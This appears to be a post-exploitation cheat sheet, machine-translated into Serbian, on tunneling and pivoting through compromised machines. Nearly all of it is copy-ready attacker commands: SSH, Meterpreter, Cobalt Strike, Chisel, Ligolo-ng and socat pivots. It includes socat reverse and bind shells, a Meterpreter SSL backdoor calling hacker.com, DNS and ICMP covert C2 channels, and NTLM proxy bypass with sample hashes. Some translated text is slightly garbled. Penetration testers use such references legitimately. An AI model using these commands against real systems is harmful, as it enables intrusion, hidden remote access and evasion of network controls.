Tunneling and Port Forwarding

Reading time: 17 minutes

Nmap tip

Bash

Host -> Jump -> InternalA -> InternalB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

SSH grafička veza (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Otvorite novi port na SSH serveru --> Drugi port

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere

ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Lokalni port --> Kompromitovana mašina (SSH) --> Treća_mašina:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Lokalni port --> Kompromitovani host (SSH) --> Gde god

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Обратно прослеђивање порта

Ово је корисно за добијање обрнутог шелла са интерних хостова преко DMZ-а до вашег хоста:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

Potrebni su vam root na oba uređaja (jer ćete kreirati nove interfejse) i sshd konfiguracija mora dozvoliti root prijavu:
PermitRootLogin yes
PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface

Omogućite prosleđivanje na strani servera

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Postavite novu rutu na klijentskoj strani

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

Možete tunelovati putem ssh sav saobraćaj ka podmreži kroz host.
Na primer, prosleđivanje savremenog saobraćaja koji ide ka 10.10.10.0/24

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Povežite se sa privatnim ključem

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Lokalni port --> Kompromitovani host (aktivna sesija) --> Treća_kutija:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Još jedan način:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Otvorite port na teamserver-u koji sluša na svim interfejsima koji se mogu koristiti za usmeravanje saobraćaja kroz beacon.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

Da se napomene:

• Beacon-ov obrnuti port forwarding je dizajniran da tuneluje saobraćaj ka Team Server-u, a ne za preusmeravanje između pojedinačnih mašina.
• Saobraćaj je tunelovan unutar Beacon-ovog C2 saobraćaja, uključujući P2P linkove.
• Administratorske privilegije nisu potrebne za kreiranje obrnuti port forwarding na visokim portovima.

rPort2Port lokalno

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

Morate da otpremite web fajl tunel: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

Možete ga preuzeti sa stranice za izdanja https://github.com/jpillora/chisel
Morate koristiti istu verziju za klijenta i server

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Prosleđivanje portova

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

Koristite istu verziju za agenta i proxy

Tunneling

# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list

Veza i Slušanje

# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list

Pristup lokalnim portovima agenta

# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32

Rpivot

https://github.com/klsecservices/rpivot

Obrnuti tunel. Tunel se pokreće sa žrtve.
Socks4 proxy se kreira na 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivotiranje kroz NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Obrnuta ljuska

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port kroz socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter kroz SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

Možete zaobići non-authenticated proxy izvršavajući ovu liniju umesto poslednje u konzoli žrtve:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tuner

/bin/sh konzola

Kreirajte sertifikate na obe strane: Klijent i Server

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Povežite lokalni SSH port (22) sa 443 portom napadačkog hosta

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

To je kao konzolna verzija PuTTY (opcije su vrlo slične ssh klijentu).

Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo mogli da imamo obrnutu vezu. Zatim, da bismo preusmerili samo lokalno dostupni port na port na našoj mašini:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

Morate biti lokalni administrator (za bilo koji port)

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

Morate imati RDP pristup preko sistema.
Preuzmite:

1. SocksOverRDP x64 Binaries - Ovaj alat koristi Dynamic Virtual Channels (DVC) iz funkcije Remote Desktop Service u Windows-u. DVC je odgovoran za tunelovanje paketa preko RDP veze.
2. Proxifier Portable Binary

Na vašem klijentskom računaru učitajte SocksOverRDP-Plugin.dll na sledeći način:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Sada možemo povezati se sa žrtvom preko RDP koristeći mstsc.exe, i trebali bismo primiti poruku koja kaže da je SocksOverRDP plugin omogućen, i da će slušati na 127.0.0.1:1080.

Povežite se putem RDP i otpremite & izvršite na mašini žrtve SocksOverRDP-Server.exe binarni fajl:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Sada, potvrdite na vašem računaru (napadaču) da port 1080 sluša:

netstat -antb | findstr 1080

Sada možete koristiti Proxifier da proksirate saobraćaj kroz tu port.

Proksiranje Windows GUI aplikacija

Možete naterati Windows GUI aplikacije da prolaze kroz proksi koristeći Proxifier.
U Profile -> Proxy Servers dodajte IP adresu i port SOCKS servera.
U Profile -> Proxification Rules dodajte ime programa koji želite da proksirate i veze ka IP adresama koje želite da proksirate.

NTLM proksi zaobilaženje

Prethodno pomenuti alat: Rpivot
OpenVPN takođe može da ga zaobiđe, postavljanjem ovih opcija u konfiguracionom fajlu:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.
Na primer, prosledite port 443.

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Sada, ako na primer postavite SSH servis na žrtvi da sluša na portu 443. Možete se povezati na njega kroz port 2222 napadača.
Takođe možete koristiti meterpreter koji se povezuje na localhost:443, a napadač sluša na portu 2222.

YARP

Obrnuti proxy koji je kreirao Microsoft. Možete ga pronaći ovde: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root je potreban na oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih koristeći DNS upite.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

Tunel će biti veoma spor. Možete kreirati kompresovanu SSH vezu kroz ovaj tunel koristeći:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Preuzmite ga ovde.

Uspostavlja C&C kanal putem DNS-a. Ne zahteva root privilegije.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

U PowerShell-u

Možete koristiti dnscat2-powershell da pokrenete dnscat2 klijent u powershell-u:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Prosleđivanje portova sa dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Promena proxychains DNS-a

Proxychains presreće gethostbyname libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po definiciji, DNS server koji proxychains koristi je 4.2.2.2 (hardkodiran). Da biste ga promenili, uredite datoteku: /usr/lib/proxychains3/proxyresolv i promenite IP. Ako ste u Windows okruženju, možete postaviti IP domen kontrolera.

Tunneli u Go

https://github.com/hotnops/gtunnel

ICMP Tunelovanje

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

Root je potreban u oba sistema da bi se kreirali tun adapteri i tunelovali podaci između njih koristeći ICMP echo zahteve.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

Preuzmite ga ovde.

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok je alat za izlaganje rešenja internetu u jednoj komandnoj liniji.
Exposition URI su kao: UID.ngrok.io

Instalacija

• Napravite nalog: https://ngrok.com/signup
• Preuzimanje klijenta:

tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Osnovne upotrebe

Dokumentacija: https://ngrok.com/docs/getting-started/.

_ Takođe je moguće dodati autentifikaciju i TLS, ako je potrebno._

Tunneling TCP

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Izlaganje fajlova putem HTTP-a

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Sniffing HTTP calls

Korisno za XSS, SSRF, SSTI ...
Direktno iz stdout-a ili u HTTP interfejsu http://127.0.0.1:4040.

Tunneling internal HTTP service

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml jednostavan primer konfiguracije

Otvara 3 tunela:

• 2 TCP
• 1 HTTP sa statičkim datotekama izloženim iz /tmp/httpbin/

tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Ostali alati za proveru

• https://github.com/securesocketfunneling/ssf
• https://github.com/z3APA3A/3proxy